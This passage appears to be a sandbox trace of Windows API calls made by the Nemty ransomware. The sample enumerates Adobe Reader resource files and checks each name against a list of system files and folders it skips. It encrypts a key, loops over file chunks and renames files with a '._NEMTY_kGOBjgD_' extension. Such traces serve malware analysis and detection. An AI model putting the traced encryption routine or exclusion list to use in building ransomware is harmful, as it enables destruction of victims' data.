lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0204.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0204.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0204.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.966] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-v._nemty_kgobjgd_")) returned 0 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0204.966] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-H", cAlternateFileName="")) returned 1 [0204.966] lstrcmpiW (lpString1="GB-EUC-H", lpString2=".") returned 1 [0204.966] lstrcmpiW (lpString1="GB-EUC-H", lpString2="..") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="...") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="windows") returned -1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="$RECYCLE.BIN") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="rsa") returned -1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="NTDETECT.COM") returned -1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="ntldr") returned -1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="MSDOS.SYS") returned -1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="IO.SYS") returned -1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="boot.ini") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="boot.ini") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="AUTOEXEC.BAT") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="ntuser.dat") returned -1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="desktop.ini") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="CONFIG.SYS") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="RECYCLER") returned -1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="BOOTSECT.BAK") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="bootmgr") returned 1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="programdata") returned -1 [0204.967] lstrcmpiW (lpString1="GB-EUC-H", lpString2="appdata") returned 1 [0204.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-H", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0204.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-H", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GB-EUC-H", lpUsedDefaultChar=0x0) returned 8 [0204.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-H", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0204.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-H", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GB-EUC-H", lpUsedDefaultChar=0x0) returned 8 [0204.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-H", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0204.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-H", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GB-EUC-H", lpUsedDefaultChar=0x0) returned 8 [0204.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-H", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0204.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-H", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GB-EUC-H", lpUsedDefaultChar=0x0) returned 8 [0204.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0204.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0204.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0204.968] Sleep (dwMilliseconds=0x5) [0204.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2dd0f6d0, dwHighDateTime=0x1d561e8)) [0204.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2dd0f6d0, dwHighDateTime=0x1d561e8)) [0204.982] GetLastError () returned 0x5 [0204.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0204.982] GetLastError () returned 0x5 [0204.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0204.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0204.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0204.982] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0204.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0204.982] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="/h6UsFNWD7DanFMwe0ukyM/BWUwqbMBsRfWiW/le44SPUIb++jdgpVoesYWoUOTo\r\nWmKe49L8jAdB0Kmt816wE4WxzGTfYGPHEqeRmArbw5R7UQr4GNIEH9/7vuG2E20I\r\n2acqBV8R+hcFQR0dj3zxj1aekNeJsW7LFzeWUzLNsraprdvr31DnzU0X0MK9lvFf\r\nCVsysFhFOoQAb/VJIXF5CACj34wrQb9Idd4QSRM9W5eMbGpNOExbJLjiSWzosfhs\r\nD7OCDxuznZOg3lssxMD6fzROUfaKrx6qdOuQSSX0ffmm0kC0mY3Pm5fEkxFcCBUD\r\nnUGwcFE4FXJHlfdqPzPqjw==\r\n", pcchString=0x653e91c) returned 1 [0204.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0204.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0204.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0204.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0204.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.983] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0204.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0204.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.059] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0205.090] CloseHandle (hObject=0xffffffff) returned 0 [0205.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0205.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0205.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0205.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0205.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0205.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0205.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.090] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-h._nemty_kgobjgd_")) returned 0 [0205.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0205.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0205.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0205.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0205.091] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-V", cAlternateFileName="")) returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2=".") returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="..") returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="...") returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="windows") returned -1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="$RECYCLE.BIN") returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="rsa") returned -1 